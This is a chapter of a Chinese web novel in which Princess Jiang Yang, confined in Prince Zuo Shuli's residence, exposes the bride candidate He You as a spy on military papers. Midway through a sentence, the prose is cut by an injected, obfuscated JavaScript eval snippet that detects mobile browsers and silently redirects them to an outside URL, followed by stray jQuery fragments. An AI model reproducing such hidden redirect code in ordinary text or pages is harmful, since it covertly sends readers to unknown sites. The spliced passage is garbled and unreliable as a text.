收拾了大半日,姜央最终还是没能离开顺王府。
脚还没迈出院子,唤雨就领着一帮护卫行了过来。
他一掸拂尘,对姜央歉意道:“公主,王爷有令,命公主不许出这院子。”
姜央望着他身后散在院外的护卫们,没好气道:“怎的,领这么多人来,他这是要软禁我?”
唤雨讪讪道:“也不是软禁,毕竟外头不安生,王爷怕公主擅自跑了。”
“我回我自己的府邸也不行?”
唤雨只是客气地笑,笑得姜央一股子邪火往上窜。也不知自己这脾气哪里来的,明明知晓左殊礼在做戏,可自从听闻他半夜去了别人院子后,她就愈发不大对劲,往日那些温吞懂事的性子,好似都给狗叼走了一般。
“你家王爷呢?”
唤雨忙回:“在归府路上了。”
姜央忿忿道:“让你王爷回来后,立刻马上来见我!”说罢一甩袖,又回了自己闺房。
仿佛是知晓她走不掉似的,下人们重新收拾屋子的速度,跟白日完全无法相提并论。
不过三刻,房内又恢复了原样,姜央瞧着这一屋子的家具物事,心里更恼了。
然而更叫人生气的是,左殊礼回来又径直去了惊香院,连只言片语都未给她留。
姜央不知他葫芦里卖的什么药,竟然就这样活生生的把她给撇下了?
她也没惹他生气啊!
气极上头,姜央也失了理智,莽莽撞撞的,领着宁无白就要去惊香院抓人。
谁知唤雨在院门口拦住了她,好声好气道:“王爷说,公主还是不要露面的好,以免影响了王爷的计策。”
姜央冷笑一声:“什么计策,连见我一面都不肯吗?”
唤雨垂下眼,吭哧道:“王爷……王爷说……此间公主若是掺一脚,只怕会引起他人怀疑,”他偷偷瞄了她一眼,一咬牙将剩下半截话说出:“毕竟,公主曾说过,两人在府中该是避嫌,不能露了马脚。”
好好好,他又拿她的话来堵她。姜央气笑了,“他怎不亲自跟我说?他亲自来说,我未尝不会配合。”
唤雨见她气得没了边,纠结片刻,一狠心,道:“王爷……王爷这几日生着公主的气,怕是不会来。”
“生气?生我什么气?”她近日未跟他吵未跟他闹,可谓是有求必应,怎的又莫名其妙跟她置气?
唤雨四下望了一眼,随即才凑到她耳边,低声道了一句:“王爷查到了中街南货铺……”
姜央心里一惊,“他怎么会发现的……”
宁无白办完事后,明明说她隐藏的极好。
唤雨未交代各中细节,只说:“虽说王爷带人去时,已人去楼空,仍是揪住一个小二,问出了一些事情。”
姜央忙道:“我……我不过是让人看护下邹衍墨而已,这也能惹得他这般气怒?”
唤雨轻叹一声,“公主,王爷气的不是这个。”他讪讪道:“奴才不敢多说,只知王爷当时翻出姜公子为公主备下的一箱金银后,那神色……。”
唤雨犹记左殊礼当时怒极反笑,手中的金饼直接被捏成一滩金泥,笑容更是阴寒彻骨:“好得很,敢收姜临夜的钱,还真有过逃离我的打算!?”
姜央闻言心底一片寒凉,忙争辩道:“那都是多久之前的事了,再说了,我收下那钱,并没有要离开的意思。”
唤雨深知左殊礼与姜临夜之间的龃龉,又不好明说,只道:“公主毕竟还是收了,公主也知,王爷眼里……容不得沙子。”
他对姜央的偏执,可谓容不下一丁点的错漏,更何况还藏着姜临夜赠予的那么大一笔银钱,那数量能在他国郡府置下一座极好的宅子,以及赎买身份文牒。
哪怕姜央没有这个念头,对方是姜临夜,架不住左殊礼会多想,何况她还瞒了他这么久,并且越过他去照拂邹衍墨……
若说醋,姜央那点小醋跟左殊礼的比起来,简直是小巫见大巫。
“那我更要跟他解释了。”姜央急道。
唤雨仍是没放人,“解释自然是要的,公主不如等此间事了,王爷消了气再说不迟?”
姜央未听劝出府,招来姜临夜的掳掠,这事左殊礼本就气没消干净,如今又撞上这一出……昨日听闻左殊礼又派人去南境追查姜临夜的踪迹,也不知要做什么。
可这事在姜央看来,就是左殊礼在借题发作,一件无关紧要的事也招来他这么大的怒火。
唤雨拦着她,执意不肯放人,姜央也恼了,她望了眼惊香院的方向,蓦地冷笑:“好,左右他最近身边不缺人,那我也不去打扰他了。”
她猛地转身离去,并吩咐宁无白锁上了院门。
这喜怒无常的破脾气,她不惯着了!
一连五日,左殊礼都去了惊香院,呆上一两个时辰又离开。姜央给院中众人下了禁令,不许任何人在耳边提到左殊礼的名字,对于左殊礼此举,她并不知晓。
她闭目塞听,独自清静,然而另外两个院里的娇客,就没她这么自欺欺人了。
三人皆是选女,她何忧不是长得最美的,父亲官职也是最低,凭什么能一人独占顺王?就靠着那一手吟风弄月的乐伶之技?
柳玉和祝怜性格骄纵,可没有表面上那般大度。
这一日,姜央正对着自己精心养护的墨菊唉声叹气时,紧闭多日的院门终于被人敲响。
左殊礼虽禁了她的足,却不妨碍旁人来见她。
只见往日颇识大体的何忧,突然泪眼婆娑来找姜央。
姜央看着脚下哭成泪人的女子,捏了捏发僵的手指,道:“你在本宫跟前哭了半刻有余,让本宫为你做主,总该说一说到底发生了何事吧?”
何忧涕泪交加,仪容也不顾了,一通哭诉:“公主,臣女……臣女犯了错,还请公主救一救臣女。”
犯错了啊……
姜央心思不显,和善问:“怎就犯错了呢?你与本宫说说。”
见她笑容亲切,隐含鼓励,何忧便一股脑道了出来。
左殊礼日日去她那听曲,二人相处变得愈加亲近,连温和的笑容都多了几分,昨日提前吩咐下人送来一坛美酒,说是要夜间与她共饮。
花前月下一起酌酒,孤男寡女共处,隐含好事将近的意思。
谁知,酒刚送来不过两刻,柳玉和祝怜就循着味来到她的院子。
两人面上恭喜她,说她好福气,在顺王还未单独见过她们二人的情况下,就先与何忧成就美事,话里话外都是讥讽与不忿。
“可……试婚不就是雨露均沾,又分什么先来后到?”何忧抹着泪道。
这话姜央可不愿接,若他左殊礼敢雨露均沾,她便是将王府拆了也要离开。
“然后呢?”
想到后来之事,何忧又换了副愤懑的神色。
明知她们是来找茬的,她小心翼翼应对,不愿与她们多言,谁知柳玉不知哪里得来的消息,点出了她曾经暗许的一名寒门学子,正是她想嫁而族中不许之人。
柳玉蛇蝎心肠,说要将此事告知左殊礼,于是几人起了争执,她一不小心失手打翻了送来的那坛酒。
“臣女与那名学子早断了往来,再说了,整个西朝只要不是被贼人辱了清白,何来贞洁一说?她们这是在借机针对臣女。”
姜央想到她被送去长生观那一番折腾,默然不语。
何忧见她面色沉凝,发觉自己说错了话,赶忙转移话题:“她们也许明白这事告到王爷那,确然掀不起太大风浪,与臣女争吵片刻后便离开了。后来,夜里王爷来时,臣女才知道,问题出在那坛酒上。”
何忧垂下脸,闷闷道:“那坛酒是王爷生母在诞下他时,亲手酿制的,那二人不知从何处得知这个消息,设计让臣女毁了王爷的良苦用心。”
姜央心里冷笑一声,这么珍贵的酒,他左殊礼怎么从来没舍得跟她提起过?
“所以王爷因此责怪你了?”
何忧目光游移,道:“王爷大度,只是轻斥了两句,之后便离开了。”
姜央撑着脸细细凝视向她,她的眼睛美而清澈,可这淡如清泉的目光落在何忧身上,莫名让她心口有些发紧。
片刻,姜央忽而道:“一坛酒,再是珍贵,王爷又未重惩你,不至于你哭着跑来找我帮忙,你是不是还有什么事没说?”
何忧嘴唇开合几许,似在犹豫,姜央道:“你不如实相告,本宫又如何帮你?”
何忧挣扎一番,最终一咬牙,含含糊糊道:“王爷……王爷离开之前,在……在臣女褥子下,发现了一点东西。”
姜央来了兴趣,问:“不是说轻斥两句就离开了吗?怎又翻到了你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801664|182965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的褥子?”
提及此事,何忧更是不忿:“王爷其实想继续履行‘试婚’事宜,人已坐到了臣女床榻。”
说来说去仍未说到重点,姜央问:“那王爷到底翻到了什么?”
何忧又哭了起来,终于说了实话:“王爷翻到了一片布帛,是……是王爷书房内的军事文书。”她扑倒在姜央腿上,哭得嘶心裂肺:“公主,臣女是冤枉的啊,定是柳玉那厮嫁祸给臣女的,臣女在院中大门不出二门不迈的,又怎么可能会偷窃王爷的文书!”
“你若是冤枉的,王爷定能为你查清真相,又何错之有?”
“可……柳玉与祝怜也矢口否认,且府中下人都作证二人未曾去过书房,臣女……臣女着实被害得惨啊!”
“你去过王爷书房?”
“前两日王爷疲累,臣女曾前去送过甜汤,可臣女只是在外间,又在王爷眼皮子底下,哪有机会偷取文书?臣女根本不知晓这东西的存在。”
何忧拉着姜央袖子,恳求道:“公主可否帮帮臣女,王爷如今要将臣女赶出府,可臣女是无辜的!”
姜央看着她哭得梨花带雨的脸,轻轻扯了扯,没能将袖子扯回来,于是道:“你被冤枉又无法自证,此等要事,王爷没按周律惩治你已是不错了,本宫也帮不了你啊。”
“可……可公主不是能左右王爷吗?能否帮臣女在王爷面前美言几句?让王爷查清此事,以还臣女清白?”
一副她不帮忙誓不罢休的痴缠模样,姜央内心烦闷,复又看向她,她哭的比窦娥还冤,楚楚可怜,一双眼儿都红肿了。
沉吟片刻,姜央骤然发问:“文书上是什么事?本宫得听听此事是否要紧,若不要紧,兴许能说动王爷。”
何忧眼神一亮,忙道:“不要紧的,只是关于探查齐国边防的一些事宜。”
姜央闻言笑了,她一寸一寸扯出自己的袖袍,笑得意味深长:“何忧啊,你若是真冤枉的,不知道有这份文书存在,又怎么会知晓文书上的内容?”
何忧一怔,顿时明白自己被套了话,骤然惊道:“我……我……”
姜央却不想再跟这满腹小心思的姑娘浪费时间,断然道:“你曾说你无意顺王妃之位,只怕也是唬本宫的吧?”
谎言一一被戳破,耳边的哭哭啼啼戛然而止,她怔怔看着她,泪水挂在脸上,眼里掺了分心有不甘的仓皇。
姜央笑得坦然:“本宫这个人好说话,性子软,却也不是点小伎俩就能被骗的,你费尽心思接近我讨好我,实则不过是为了接近顺王。”她又似苦恼,自言自语般道:“可你到底是为了顺王妃之位?还是王爷书房里的一些东西?”
何忧忙争辩道:“臣女若真只是会些小把戏的人,又哪来的能耐去觊觎王爷房中的机密?”
“也是,”姜央认同般点点头,又问:“那你真正目的是什么?”
“臣女进王府,是真心实意为顺王妃之位来的,至于这方布帛……”何忧眼见着又要哭,姜央忙抬手止住她,她才含糊道:“那一晚,我不过就偷瞧了一眼,谁知就出现在我的房内。”
到底是偷瞧,还是有意窥探,若只是偷瞧怎会知道的如此详细?事到如今,她还在狡辩。
姜央心里好似明白了什么,心里一咂摸,多半是左殊礼的手笔。
何忧是太后的人,也许是受了太后嘱托,也许是她擅自做主,即使最后她未能当上顺王妃,也可将顺手窥探的军中要事向太后邀功。
左殊礼也许已经察觉了她的小心思,于是将计就计。
当然不可能是他亲力亲为,许是故意遗漏,借柳玉或者祝怜的手塞到她房中。
若是左殊礼所为,她倒是不便再矫饰自己的善解人意,于是道:“此事模棱两可,又涉及军中要事,本宫无权插手,当由王爷来裁断。”
听她拒绝,何忧顿时绝望吼道:“湖光公主!你帮帮臣女吧,您与王爷关系匪浅,替臣女美言几句也无伤大雅啊!”
姜央缓缓一眨眼,笑道:“本宫只是与王爷之间只挂着一层兄妹之名,王爷的抬爱皆是看在骊太妃的面子上,你莫不是误会了什么?”
“可你们二人明明……”
“明明什么?”姜央眯眼询问。
何忧许是陷入绝境,一咬牙断断续续道:“明明……异常亲近,不像寻常兄妹。”